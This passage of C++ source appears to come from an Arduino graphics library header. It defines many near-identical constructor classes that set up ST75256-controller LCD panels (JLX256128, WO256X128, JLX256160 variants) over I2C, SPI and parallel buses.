}\n};\nclass U8G2_ST75256_JLX256128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_3W_HW_SPI(const 